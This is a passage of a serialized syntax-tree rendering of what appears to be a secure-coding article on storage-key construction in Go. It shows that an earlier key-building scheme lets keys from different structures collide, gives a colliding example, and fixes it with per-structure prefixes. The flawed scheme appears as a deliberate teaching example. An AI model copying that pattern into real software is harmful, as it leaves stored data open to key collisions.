usernameEncoded",{"type":24,"tag":158,"props":88019,"children":88020},{"style":188},[88021],{"type":29,"value":235},{"type":24,"tag":158,"props":88023,"children":88024},{"class":160,"line":10636},[88025,88029],{"type":24,"tag":158,"props":88026,"children":88027},{"style":177},[88028],{"type":29,"value":88005},{"type":24,"tag":158,"props":88030,"children":88031},{"style":188},[88032],{"type":29,"value":235},{"type":24,"tag":158,"props":88034,"children":88035},{"class":160,"line":10652},[88036,88041],{"type":24,"tag":158,"props":88037,"children":88038},{"style":177},[88039],{"type":29,"value":88040}," positionNameEncoded",{"type":24,"tag":158,"props":88042,"children":88043},{"style":188},[88044],{"type":29,"value":235},{"type":24,"tag":158,"props":88046,"children":88047},{"class":160,"line":10696},[88048],{"type":24,"tag":158,"props":88049,"children":88050},{"style":188},[88051],{"type":29,"value":25175},{"type":24,"tag":158,"props":88053,"children":88054},{"class":160,"line":10801},[88055],{"type":24,"tag":158,"props":88056,"children":88057},{"style":188},[88058],{"type":29,"value":307},{"type":24,"tag":158,"props":88060,"children":88061},{"class":160,"line":24754},[88062],{"type":24,"tag":158,"props":88063,"children":88064},{"emptyLinePlaceholder":16},[88065],{"type":29,"value":481},{"type":24,"tag":158,"props":88067,"children":88068},{"class":160,"line":24789},[88069],{"type":24,"tag":158,"props":88070,"children":88071},{"emptyLinePlaceholder":16},[88072],{"type":29,"value":481},{"type":24,"tag":158,"props":88074,"children":88075},{"class":160,"line":24797},[88076,88080,88085],{"type":24,"tag":158,"props":88077,"children":88078},{"style":165},[88079],{"type":29,"value":77578},{"type":24,"tag":158,"props":88081,"children":88082},{"style":496},[88083],{"type":29,"value":88084}," AddressMapKey",{"type":24,"tag":158,"props":88086,"children":88087},{"style":188},[88088],{"type":29,"value":2156},{"type":24,"tag":158,"props":88090,"children":88091},{"class":160,"line":24805},[88092,88096,88100],{"type":24,"tag":158,"props":88093,"children":88094},{"style":177},[88095],{"type":29,"value":86525},{"type":24,"tag":158,"props":88097,"children":88098},{"style":171},[88099],{"type":29,"value":77699},{"type":24,"tag":158,"props":88101,"children":88102},{"style":188},[88103],{"type":29,"value":235},{"type":24,"tag":158,"props":88105,"children":88106},{"class":160,"line":24814},[88107,88111,88115,88120,88124],{"type":24,"tag":158,"props":88108,"children":88109},{"style":177},[88110],{"type":29,"value":86537},{"type":24,"tag":158,"props":88112,"children":88113},{"style":188},[88114],{"type":29,"value":191},{"type":24,"tag":158,"props":88116,"children":88117},{"style":177},[88118],{"type":29,"value":88119},"addressName",{"type":24,"tag":158,"props":88121,"children":88122},{"style":188},[88123],{"type":29,"value":77505},{"type":24,"tag":158,"props":88125,"children":88126},{"style":171},[88127],{"type":29,"value":85506},{"type":24,"tag":158,"props":88129,"children":88130},{"class":160,"line":24856},[88131,88135,88139,88143,88147],{"type":24,"tag":158,"props":88132,"children":88133},{"style":188},[88134],{"type":29,"value":77660},{"type":24,"tag":158,"props":88136,"children":88137},{"style":177},[88138],{"type":29,"value":73432},{"type":24,"tag":158,"props":88140,"children":88141},{"style":188},[88142],{"type":29,"value":77505},{"type":24,"tag":158,"props":88144,"children":88145},{"style":171},[88146],{"type":29,"value":86043},{"type":24,"tag":158,"props":88148,"children":88149},{"style":188},[88150],{"type":29,"value":16038},{"type":24,"tag":158,"props":88152,"children":88153},{"class":160,"line":24889},[88154,88158,88162,88166],{"type":24,"tag":158,"props":88155,"children":88156},{"style":177},[88157],{"type":29,"value":87139},{"type":24,"tag":158,"props":88159,"children":88160},{"style":222},[88161],{"type":29,"value":77694},{"type":24,"tag":158,"props":88163,"children":88164},{"style":496},[88165],{"type":29,"value":86842},{"type":24,"tag":158,"props":88167,"children":88168},{"style":188},[88169],{"type":29,"value":2156},{"type":24,"tag":158,"props":88171,"children":88172},{"class":160,"line":24897},[88173,88177,88181],{"type":24,"tag":158,"props":88174,"children":88175},{"style":188},[88176],{"type":29,"value":87733},{"type":24,"tag":158,"props":88178,"children":88179},{"style":171},[88180],{"type":29,"value":86043},{"type":24,"tag":158,"props":88182,"children":88183},{"style":188},[88184],{"type":29,"value":235},{"type":24,"tag":158,"props":88186,"children":88187},{"class":160,"line":24905},[88188,88192,88196,88200,88204,88208,88212,88216],{"type":24,"tag":158,"props":88189,"children":88190},{"style":177},[88191],{"type":29,"value":87749},{"type":24,"tag":158,"props":88193,"children":88194},{"style":188},[88195],{"type":29,"value":347},{"type":24,"tag":158,"props":88197,"children":88198},{"style":496},[88199],{"type":29,"value":86879},{"type":24,"tag":158,"props":88201,"children":88202},{"style":188},[88203],{"type":29,"value":504},{"type":24,"tag":158,"props":88205,"children":88206},{"style":496},[88207],{"type":29,"value":10726},{"type":24,"tag":158,"props":88209,"children":88210},{"style":188},[88211],{"type":29,"value":504},{"type":24,"tag":158,"props":88213,"children":88214},{"style":177},[88215],{"type":29,"value":86749},{"type":24,"tag":158,"props":88217,"children":88218},{"style":188},[88219],{"type":29,"value":86900},{"type":24,"tag":158,"props":88221,"children":88222},{"class":160,"line":24914},[88223],{"type":24,"tag":158,"props":88224,"children":88225},{"style":188},[88226],{"type":29,"value":25175},{"type":24,"tag":158,"props":88228,"children":88229},{"class":160,"line":24990},[88230,88234,88238,88242,88246,88250,88254,88258],{"type":24,"tag":158,"props":88231,"children":88232},{"style":177},[88233],{"type":29,"value":86870},{"type":24,"tag":158,"props":88235,"children":88236},{"style":188},[88237],{"type":29,"value":347},{"type":24,"tag":158,"props":88239,"children":88240},{"style":496},[88241],{"type":29,"value":86924},{"type":24,"tag":158,"props":88243,"children":88244},{"style":188},[88245],{"type":29,"value":504},{"type":24,"tag":158,"props":88247,"children":88248},{"style":177},[88249],{"type":29,"value":86833},{"type":24,"tag":158,"props":88251,"children":88252},{"style":188},[88253],{"type":29,"value":191},{"type":24,"tag":158,"props":88255,"children":88256},{"style":177},[88257],{"type":29,"value":86749},{"type":24,"tag":158,"props":88259,"children":88260},{"style":188},[88261],{"type":29,"value":2125},{"type":24,"tag":158,"props":88263,"children":88264},{"class":160,"line":25023},[88265],{"type":24,"tag":158,"props":88266,"children":88267},{"emptyLinePlaceholder":16},[88268],{"type":29,"value":481},{"type":24,"tag":158,"props":88270,"children":88271},{"class":160,"line":25031},[88272,88277,88281,88285],{"type":24,"tag":158,"props":88273,"children":88274},{"style":177},[88275],{"type":29,"value":88276}," addressNameEncoded",{"type":24,"tag":158,"props":88278,"children":88279},{"style":222},[88280],{"type":29,"value":77694},{"type":24,"tag":158,"props":88282,"children":88283},{"style":496},[88284],{"type":29,"value":86842},{"type":24,"tag":158,"props":88286,"children":88287},{"style":188},[88288],{"type":29,"value":2156},{"type":24,"tag":158,"props":88290,"children":88291},{"class":160,"line":25039},[88292,88296,88300],{"type":24,"tag":158,"props":88293,"children":88294},{"style":188},[88295],{"type":29,"value":87733},{"type":24,"tag":158,"props":88297,"children":88298},{"style":171},[88299],{"type":29,"value":86043},{"type":24,"tag":158,"props":88301,"children":88302},{"style":188},[88303],{"type":29,"value":235},{"type":24,"tag":158,"props":88305,"children":88306},{"class":160,"line":25076},[88307,88311,88315,88319,88323,88327,88331,88335],{"type":24,"tag":158,"props":88308,"children":88309},{"style":177},[88310],{"type":29,"value":87749},{"type":24,"tag":158,"props":88312,"children":88313},{"style":188},[88314],{"type":29,"value":347},{"type":24,"tag":158,"props":88316,"children":88317},{"style":496},[88318],{"type":29,"value":86879},{"type":24,"tag":158,"props":88320,"children":88321},{"style":188},[88322],{"type":29,"value":504},{"type":24,"tag":158,"props":88324,"children":88325},{"style":496},[88326],{"type":29,"value":10726},{"type":24,"tag":158,"props":88328,"children":88329},{"style":188},[88330],{"type":29,"value":504},{"type":24,"tag":158,"props":88332,"children":88333},{"style":177},[88334],{"type":29,"value":88119},{"type":24,"tag":158,"props":88336,"children":88337},{"style":188},[88338],{"type":29,"value":86900},{"type":24,"tag":158,"props":88340,"children":88341},{"class":160,"line":25089},[88342],{"type":24,"tag":158,"props":88343,"children":88344},{"style":188},[88345],{"type":29,"value":25175},{"type":24,"tag":158,"props":88347,"children":88348},{"class":160,"line":25102},[88349,88353,88357,88361,88365,88370,88374,88378],{"type":24,"tag":158,"props":88350,"children":88351},{"style":177},[88352],{"type":29,"value":86870},{"type":24,"tag":158,"props":88354,"children":88355},{"style":188},[88356],{"type":29,"value":347},{"type":24,"tag":158,"props":88358,"children":88359},{"style":496},[88360],{"type":29,"value":86924},{"type":24,"tag":158,"props":88362,"children":88363},{"style":188},[88364],{"type":29,"value":504},{"type":24,"tag":158,"props":88366,"children":88367},{"style":177},[88368],{"type":29,"value":88369},"addressNameEncoded",{"type":24,"tag":158,"props":88371,"children":88372},{"style":188},[88373],{"type":29,"value":191},{"type":24,"tag":158,"props":88375,"children":88376},{"style":177},[88377],{"type":29,"value":88119},{"type":24,"tag":158,"props":88379,"children":88380},{"style":188},[88381],{"type":29,"value":2125},{"type":24,"tag":158,"props":88383,"children":88384},{"class":160,"line":25115},[88385],{"type":24,"tag":158,"props":88386,"children":88387},{"emptyLinePlaceholder":16},[88388],{"type":29,"value":481},{"type":24,"tag":158,"props":88390,"children":88391},{"class":160,"line":25169},[88392,88396,88400,88404,88408,88412],{"type":24,"tag":158,"props":88393,"children":88394},{"style":177},[88395],{"type":29,"value":87953},{"type":24,"tag":158,"props":88397,"children":88398},{"style":222},[88399],{"type":29,"value":77694},{"type":24,"tag":158,"props":88401,"children":88402},{"style":177},[88403],{"type":29,"value":83512},{"type":24,"tag":158,"props":88405,"children":88406},{"style":188},[88407],{"type":29,"value":347},{"type":24,"tag":158,"props":88409,"children":88410},{"style":496},[88411],{"type":29,"value":86501},{"type":24,"tag":158,"props":88413,"children":88414},{"style":188},[88415],{"type":29,"value":2156},{"type":24,"tag":158,"props":88417,"children":88418},{"class":160,"line":25178},[88419,88423],{"type":24,"tag":158,"props":88420,"children":88421},{"style":1108},[88422],{"type":29,"value":87981},{"type":24,"tag":158,"props":88424,"children":88425},{"style":188},[88426],{"type":29,"value":235},{"type":24,"tag":158,"props":88428,"children":88429},{"class":160,"line":33542},[88430,88434],{"type":24,"tag":158,"props":88431,"children":88432},{"style":177},[88433],{"type":29,"value":87993},{"type":24,"tag":158,"props":88435,"children":88436},{"style":188},[88437],{"type":29,"value":235},{"type":24,"tag":158,"props":88439,"children":88440},{"class":160,"line":33563},[88441,88445],{"type":24,"tag":158,"props":88442,"children":88443},{"style":177},[88444],{"type":29,"value":88005},{"type":24,"tag":158,"props":88446,"children":88447},{"style":188},[88448],{"type":29,"value":235},{"type":24,"tag":158,"props":88450,"children":88451},{"class":160,"line":82229},[88452,88456],{"type":24,"tag":158,"props":88453,"children":88454},{"style":177},[88455],{"type":29,"value":88017},{"type":24,"tag":158,"props":88457,"children":88458},{"style":188},[88459],{"type":29,"value":235},{"type":24,"tag":158,"props":88461,"children":88462},{"class":160,"line":82242},[88463,88467],{"type":24,"tag":158,"props":88464,"children":88465},{"style":177},[88466],{"type":29,"value":88005},{"type":24,"tag":158,"props":88468,"children":88469},{"style":188},[88470],{"type":29,"value":235},{"type":24,"tag":158,"props":88472,"children":88473},{"class":160,"line":82250},[88474,88479],{"type":24,"tag":158,"props":88475,"children":88476},{"style":177},[88477],{"type":29,"value":88478}," addressNameEncoded",{"type":24,"tag":158,"props":88480,"children":88481},{"style":188},[88482],{"type":29,"value":235},{"type":24,"tag":158,"props":88484,"children":88485},{"class":160,"line":82258},[88486],{"type":24,"tag":158,"props":88487,"children":88488},{"style":188},[88489],{"type":29,"value":25175},{"type":24,"tag":158,"props":88491,"children":88492},{"class":160,"line":82266},[88493],{"type":24,"tag":158,"props":88494,"children":88495},{"style":188},[88496],{"type":29,"value":307},{"type":24,"tag":25,"props":88498,"children":88499},{},[88500,88502,88507],{"type":29,"value":88501},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":154,"props":88503,"children":88505},{"className":88504},[],[88506],{"type":29,"value":86255},{"type":29,"value":88508},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":147,"props":88510,"children":88512},{"code":88511},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[88513],{"type":24,"tag":154,"props":88514,"children":88515},{"__ignoreMap":7},[88516],{"type":29,"value":88511},{"type":24,"tag":25,"props":88518,"children":88519},{},[88520],{"type":29,"value":88521},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":147,"props":88523,"children":88525},{"code":88524,"language":77442,"meta":7,"className":77443,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[88526],{"type":24,"tag":154,"props":88527,"children":88528},{"__ignoreMap":7},[88529,88540,88555,88582,88607,88614,88621,88628,88643,88658,88685,88708,88727,88742,88777,88784,88819,88826,88845,88860,88895,88902,88937,88944,88971,88983,88995,89006,89017,89028,89039,89050,89057,89064,89071,89078,89093,89108,89135,89158,89177,89192,89227,89234,89269,89276,89295,89310,89345,89352,89387,89394,89421,89432,89444,89455,89466,89477,89488,89499,89507],{"type":24,"tag":158,"props":88530,"children":88531},{"class":160,"line":161},[88532,88536],{"type":24,"tag":158,"props":88533,"children":88534},{"style":165},[88535],{"type":29,"value":443},{"type":24,"tag":158,"props":88537,"children":88538},{"style":188},[88539],{"type":29,"value":79844},{"type":24,"tag":158,"props":88541,"children":88542},{"class":160,"line":213},[88543,88547,88551],{"type":24,"tag":158,"props":88544,"children":88545},{"style":177},[88546],{"type":29,"value":86609},{"type":24,"tag":158,"props":88548,"children":88549},{"style":222},[88550],{"type":29,"value":462},{"type":24,"tag":158,"props":88552,"children":88553},{"style":1108},[88554],{"type":29,"value":86618},{"type":24,"tag":158,"props":88556,"children":88557},{"class":160,"line":238},[88558,88563,88567,88572,88577],{"type":24,"tag":158,"props":88559,"children":88560},{"style":177},[88561],{"type":29,"value":88562}," PositionMapPrefix",{"type":24,"tag":158,"props":88564,"children":88565},{"style":222},[88566],{"type":29,"value":462},{"type":24,"tag":158,"props":88568,"children":88569},{"style":1108},[88570],{"type":29,"value":88571}," \"",{"type":24,"tag":158,"props":88573,"children":88574},{"style":49644},[88575],{"type":29,"value":88576},"\\x01",{"type":24,"tag":158,"props":88578,"children":88579},{"style":1108},[88580],{"type":29,"value":88581},"\"\n",{"type":24,"tag":158,"props":88583,"children":88584},{"class":160,"line":259},[88585,88590,88594,88598,88603],{"type":24,"tag":158,"props":88586,"children":88587},{"style":177},[88588],{"type":29,"value":88589}," AddressMapPrefix",{"type":24,"tag":158,"props":88591,"children":88592},{"style":222},[88593],{"type":29,"value":462},{"type":24,"tag":158,"props":88595,"children":88596},{"style":1108},[88597],{"type":29,"value":88571},{"type":24,"tag":158,"props":88599,"children":88600},{"style":49644},[88601],{"type":29,"value":88602},"\\x02",{"type":24,"tag":158,"props":88604,"children":88605},{"style":1108},[88606],{"type":29,"value":88581},{"type":24,"tag":158,"props":88608,"children":88609},{"class":160,"line":280},[88610],{"type":24,"tag":158,"props":88611,"children":88612},{"style":188},[88613],{"type":29,"value":2125},{"type":24,"tag":158,"props":88615,"children":88616},{"class":160,"line":301},[88617],{"type":24,"tag":158,"props":88618,"children":88619},{"emptyLinePlaceholder":16},[88620],{"type":29,"value":481},{"type":24,"tag":158,"props":88622,"children":88623},{"class":160,"line":626},[88624],{"type":24,"tag":158,"props":88625,"children":88626},{"emptyLinePlaceholder":16},[88627],{"type":29,"value":481},{"type":24,"tag":158,"props":88629,"children":88630},{"class":160,"line":668},[88631,88635,88639],{"type":24,"tag":158,"props":88632,"children":88633},{"style":165},[88634],{"type":29,"value":77578},{"type":24,"tag":158,"props":88636,"children":88637},{"style":496},[88638],{"type":29,"value":87637},{"type":24,"tag":158,"props":88640,"children":88641},{"style":188},[88642],{"type":29,"value":2156},{"type":24,"tag":158,"props":88644,"children":88645},{"class":160,"line":676},[88646,88650,88654],{"type":24,"tag":158,"props":88647,"children":88648},{"style":177},[88649],{"type":29,"value":86525},{"type":24,"tag":158,"props":88651,"children":88652},{"style":171},[88653],{"type":29,"value":77699},{"type":24,"tag":158,"props":88655,"children":88656},{"style":188},[88657],{"type":29,"value":235},{"type":24,"tag":158,"props":88659,"children":88660},{"class":160,"line":684},[88661,88665,88669,88673,88677,88681],{"type":24,"tag":158,"props":88662,"children":88663},{"style":177},[88664],{"type":29,"value":86537},{"type":24,"tag":158,"props":88666,"children":88667},{"style":188},[88668],{"type":29,"value":191},{"type":24,"tag":158,"props":88670,"children":88671},{"style":177},[88672],{"type":29,"value":87018},{"type":24,"tag":158,"props":88674,"children":88675},{"style":188},[88676],{"type":29,"value":77505},{"type":24,"tag":158,"props":88678,"children":88679},{"style":171},[88680],{"type":29,"value":86043},{"type":24,"tag":158,"props":88682,"children":88683},{"style":188},[88684],{"type":29,"value":235},{"type":24,"tag":158,"props":88686,"children":88687},{"class":160,"line":700},[88688,88692,88696,88700,88704],{"type":24,"tag":158,"props":88689,"children":88690},{"style":188},[88691],{"type":29,"value":77660},{"type":24,"tag":158,"props":88693,"children":88694},{"style":177},[88695],{"type":29,"value":73432},{"type":24,"tag":158,"props":88697,"children":88698},{"style":188},[88699],{"type":29,"value":77505},{"type":24,"tag":158,"props":88701,"children":88702},{"style":171},[88703],{"type":29,"value":86043},{"type":24,"tag":158,"props":88705,"children":88706},{"style":188},[88707],{"type":29,"value":16038},{"type":24,"tag":158,"props":88709,"children":88710},{"class":160,"line":785},[88711,88715,88719,88723],{"type":24,"tag":158,"props":88712,"children":88713},{"style":177},[88714],{"type":29,"value":87139},{"type":24,"tag":158,"props":88716,"children":88717},{"style":222},[88718],{"type":29,"value":77694},{"type":24,"tag":158,"props":88720,"children":88721},{"style":496},[88722],{"type":29,"value":86842},{"type":24,"tag":158,"props":88724,"children":88725},{"style":188},[88726],{"type":29,"value":2156},{"type":24,"tag":158,"props":88728,"children":88729},{"class":160,"line":1447},[88730,88734,88738],{"type":24,"tag":158,"props":88731,"children":88732},{"style":188},[88733],{"type":29,"value":87733},{"type":24,"tag":158,"props":88735,"children":88736},{"style":171},[88737],{"type":29,"value":86043},{"type":24,"tag":158,"props":88739,"children":88740},{"style":188},[88741],{"type":29,"value":235},{"type":24,"tag":158,"props":88743,"children":88744},{"class":160,"line":1509},[88745,88749,88753,88757,88761,88765,88769,88773],{"type":24,"tag":158,"props":88746,"children":88747},{"style":177},[88748],{"type":29,"value":87749},{"type":24,"tag":158,"props":88750,"children":88751},{"style":188},[88752],{"type":29,"value":347},{"type":24,"tag":158,"props":88754,"children":88755},{"style":496},[88756],{"type":29,"value":86879},{"type":24,"tag":158,"props":88758,"children":88759},{"style":188},[88760],{"type":29,"value":504},{"type":24,"tag":158,"props":88762,"children":88763},{"style":496},[88764],{"type":29,"value":10726},{"type":24,"tag":158,"props":88766,"children":88767},{"style":188},[88768],{"type":29,"value":504},{"type":24,"tag":158,"props":88770,"children":88771},{"style":177},[88772],{"type":29,"value":86749},{"type":24,"tag":158,"props":88774,"children":88775},{"style":188},[88776],{"type":29,"value":86900},{"type":24,"tag":158,"props":88778,"children":88779},{"class":160,"line":1527},[88780],{"type":24,"tag":158,"props":88781,"children":88782},{"style":188},[88783],{"type":29,"value":25175},{"type":24,"tag":158,"props":88785,"children":88786},{"class":160,"line":1545},[88787,88791,88795,88799,88803,88807,88811,88815],{"type":24,"tag":158,"props":88788,"children":88789},{"style":177},[88790],{"type":29,"value":86870},{"type":24,"tag":158,"props":88792,"children":88793},{"style":188},[88794],{"type":29,"value":347},{"type":24,"tag":158,"props":88796,"children":88797},{"style":496},[88798],{"type":29,"value":86924},{"type":24,"tag":158,"props":88800,"children":88801},{"style":188},[88802],{"type":29,"value":504},{"type":24,"tag":158,"props":88804,"children":88805},{"style":177},[88806],{"type":29,"value":86833},{"type":24,"tag":158,"props":88808,"children":88809},{"style":188},[88810],{"type":29,"value":191},{"type":24,"tag":158,"props":88812,"children":88813},{"style":177},[88814],{"type":29,"value":86749},{"type":24,"tag":158,"props":88816,"children":88817},{"style":188},[88818],{"type":29,"value":2125},{"type":24,"tag":158,"props":88820,"children":88821},{"class":160,"line":1618},[88822],{"type":24,"tag":158,"props":88823,"children":88824},{"emptyLinePlaceholder":16},[88825],{"type":29,"value":481},{"type":24,"tag":158,"props":88827,"children":88828},{"class":160,"line":1635},[88829,88833,88837,88841],{"type":24,"tag":158,"props":88830,"children":88831},{"style":177},[88832],{"type":29,"value":87834},{"type":24,"tag":158,"props":88834,"children":88835},{"style":222},[88836],{"type":29,"value":77694},{"type":24,"tag":158,"props":88838,"children":88839},{"style":496},[88840],{"type":29,"value":86842},{"type":24,"tag":158,"props":88842,"children":88843},{"style":188},[88844],{"type":29,"value":2156},{"type":24,"tag":158,"props":88846,"children":88847},{"class":160,"line":1644},[88848,88852,88856],{"type":24,"tag":158,"props":88849,"children":88850},{"style":188},[88851],{"type":29,"value":87733},{"type":24,"tag":158,"props":88853,"children":88854},{"style":171},[88855],{"type":29,"value":86043},{"type":24,"tag":158,"props":88857,"children":88858},{"style":188},[88859],{"type":29,"value":235},{"type":24,"tag":158,"props":88861,"children":88862},{"class":160,"line":1652},[88863,88867,88871,88875,88879,88883,88887,88891],{"type":24,"tag":158,"props":88864,"children":88865},{"style":177},[88866],{"type":29,"value":87749},{"type":24,"tag":158,"props":88868,"children":88869},{"style":188},[88870],{"type":29,"value":347},{"type":24,"tag":158,"props":88872,"children":88873},{"style":496},[88874],{"type":29,"value":86879},{"type":24,"tag":158,"props":88876,"children":88877},{"style":188},[88878],{"type":29,"value":504},{"type":24,"tag":158,"props":88880,"children":88881},{"style":496},[88882],{"type":29,"value":10726},{"type":24,"tag":158,"props":88884,"children":88885},{"style":188},[88886],{"type":29,"value":504},{"type":24,"tag":158,"props":88888,"children":88889},{"style":177},[88890],{"type":29,"value":87018},{"type":24,"tag":158,"props":88892,"children":88893},{"style":188},[88894],{"type":29,"value":86900},{"type":24,"tag":158,"props":88896,"children":88897},{"class":160,"line":1704},[88898],{"type":24,"tag":158,"props":88899,"children":88900},{"style":188},[88901],{"type":29,"value":25175},{"type":24,"tag":158,"props":88903,"children":88904},{"class":160,"line":1713},[88905,88909,88913,88917,88921,88925,88929,88933],{"type":24,"tag":158,"props":88906,"children":88907},{"style":177},[88908],{"type":29,"value":86870},{"type":24,"tag":158,"props":88910,"children":88911},{"style":188},[88912],{"type":29,"value":347},{"type":24,"tag":158,"props":88914,"children":88915},{"style":496},[88916],{"type":29,"value":86924},{"type":24,"tag":158,"props":88918,"children":88919},{"style":188},[88920],{"type":29,"value":504},{"type":24,"tag":158,"props":88922,"children":88923},{"style":177},[88924],{"type":29,"value":86959},{"type":24,"tag":158,"props":88926,"children":88927},{"style":188},[88928],{"type":29,"value":191},{"type":24,"tag":158,"props":88930,"children":88931},{"style":177},[88932],{"type":29,"value":87018},{"type":24,"tag":158,"props":88934,"children":88935},{"style":188},[88936],{"type":29,"value":2125},{"type":24,"tag":158,"props":88938,"children":88939},{"class":160,"line":1731},[88940],{"type":24,"tag":158,"props":88941,"children":88942},{"emptyLinePlaceholder":16},[88943],{"type":29,"value":481},{"type":24,"tag":158,"props":88945,"children":88946},{"class":160,"line":5485},[88947,88951,88955,88959,88963,88967],{"type":24,"tag":158,"props":88948,"children":88949},{"style":177},[88950],{"type":29,"value":87953},{"type":24,"tag":158,"props":88952,"children":88953},{"style":222},[88954],{"type":29,"value":77694},{"type":24,"tag":158,"props":88956,"children":88957},{"style":177},[88958],{"type":29,"value":83512},{"type":24,"tag":158,"props":88960,"children":88961},{"style":188},[88962],{"type":29,"value":347},{"type":24,"tag":158,"props":88964,"children":88965},{"style":496},[88966],{"type":29,"value":86501},{"type":24,"tag":158,"props":88968,"children":88969},{"style":188},[88970],{"type":29,"value":2156},{"type":24,"tag":158,"props":88972,"children":88973},{"class":160,"line":5493},[88974,88979],{"type":24,"tag":158,"props":88975,"children":88976},{"style":1108},[88977],{"type":29,"value":88978}," \"%s%d%s%s%s%s\"",{"type":24,"tag":158,"props":88980,"children":88981},{"style":188},[88982],{"type":29,"value":235},{"type":24,"tag":158,"props":88984,"children":88985},{"class":160,"line":5553},[88986,88991],{"type":24,"tag":158,"props":88987,"children":88988},{"style":177},[88989],{"type":29,"value":88990}," PositionMapPrefix",{"type":24,"tag":158,"props":88992,"children":88993},{"style":188},[88994],{"type":29,"value":235},{"type":24,"tag":158,"props":88996,"children":88997},{"class":160,"line":10636},[88998,89002],{"type":24,"tag":158,"props":88999,"children":89000},{"style":177},[89001],{"type":29,"value":87993},{"type":24,"tag":158,"props":89003,"children":89004},{"style":188},[89005],{"type":29,"value":235},{"type":24,"tag":158,"props":89007,"children":89008},{"class":160,"line":10652},[89009,89013],{"type":24,"tag":158,"props":89010,"children":89011},{"style":177},[89012],{"type":29,"value":88005},{"type":24,"tag":158,"props":89014,"children":89015},{"style":188},[89016],{"type":29,"value":235},{"type":24,"tag":158,"props":89018,"children":89019},{"class":160,"line":10696},[89020,89024],{"type":24,"tag":158,"props":89021,"children":89022},{"style":177},[89023],{"type":29,"value":88017},{"type":24,"tag":158,"props":89025,"children":89026},{"style":188},[89027],{"type":29,"value":235},{"type":24,"tag":158,"props":89029,"children":89030},{"class":160,"line":10801},[89031,89035],{"type":24,"tag":158,"props":89032,"children":89033},{"style":177},[89034],{"type":29,"value":88005},{"type":24,"tag":158,"props":89036,"children":89037},{"style":188},[89038],{"type":29,"value":235},{"type":24,"tag":158,"props":89040,"children":89041},{"class":160,"line":24754},[89042,89046],{"type":24,"tag":158,"props":89043,"children":89044},{"style":177},[89045],{"type":29,"value":88040},{"type":24,"tag":158,"props":89047,"children":89048},{"style":188},[89049],{"type":29,"value":235},{"type":24,"tag":158,"props":89051,"children":89052},{"class":160,"line":24789},[89053],{"type":24,"tag":158,"props":89054,"children":89055},{"style":188},[89056],{"type":29,"value":25175},{"type":24,"tag":158,"props":89058,"children":89059},{"class":160,"line":24797},[89060],{"type":24,"tag":158,"props":89061,"children":89062},{"style":188},[89063],{"type":29,"value":307},{"type":24,"tag":158,"props":89065,"children":89066},{"class":160,"line":24805},[89067],{"type":24,"tag":158,"props":89068,"children":89069},{"emptyLinePlaceholder":16},[89070],{"type":29,"value":481},{"type":24,"tag":158,"props":89072,"children":89073},{"class":160,"line":24814},[89074],{"type":24,"tag":158,"props":89075,"children":89076},{"emptyLinePlaceholder":16},[89077],{"type":29,"value":481},{"type":24,"tag":158,"props":89079,"children":89080},{"class":160,"line":24856},[89081,89085,89089],{"type":24,"tag":158,"props":89082,"children":89083},{"style":165},[89084],{"type":29,"value":77578},{"type":24,"tag":158,"props":89086,"children":89087},{"style":496},[89088],{"type":29,"value":88084},{"type":24,"tag":158,"props":89090,"children":89091},{"style":188},[89092],{"type":29,"value":2156},{"type":24,"tag":158,"props":89094,"children":89095},{"class":160,"line":24889},[89096,89100,89104],{"type":24,"tag":158,"props":89097,"children":89098},{"style":177},[89099],{"type":29,"value":86525},{"type":24,"tag":158,"props":89101,"children":89102},{"style":171},[89103],{"type":29,"value":77699},{"type":24,"tag":158,"props":89105,"children":89106},{"style":188},[89107],{"type":29,"value":235},{"type":24,"tag":158,"props":89109,"children":89110},{"class":160,"line":24897},[89111,89115,89119,89123,89127,89131],{"type":24,"tag":158,"props":89112,"children":89113},{"style":177},[89114],{"type":29,"value":86537},{"type":24,"tag":158,"props":89116,"children":89117},{"style":188},[89118],{"type":29,"value":191},{"type":24,"tag":158,"props":89120,"children":89121},{"style":177},[89122],{"type":29,"value":88119},{"type":24,"tag":158,"props":89124,"children":89125},{"style":188},[89126],{"type":29,"value":77505},{"type":24,"tag":158,"props":89128,"children":89129},{"style":171},[89130],{"type":29,"value":86043},{"type":24,"tag":158,"props":89132,"children":89133},{"style":188},[89134],{"type":29,"value":235},{"type":24,"tag":158,"props":89136,"children":89137},{"class":160,"line":24905},[89138,89142,89146,89150,89154],{"type":24,"tag":158,"props":89139,"children":89140},{"style":188},[89141],{"type":29,"value":77660},{"type":24,"tag":158,"props":89143,"children":89144},{"style":177},[89145],{"type":29,"value":73432},{"type":24,"tag":158,"props":89147,"children":89148},{"style":188},[89149],{"type":29,"value":77505},{"type":24,"tag":158,"props":89151,"children":89152},{"style":171},[89153],{"type":29,"value":86043},{"type":24,"tag":158,"props":89155,"children":89156},{"style":188},[89157],{"type":29,"value":16038},{"type":24,"tag":158,"props":89159,"children":89160},{"class":160,"line":24914},[89161,89165,89169,89173],{"type":24,"tag":158,"props":89162,"children":89163},{"style":177},[89164],{"type":29,"value":87139},{"type":24,"tag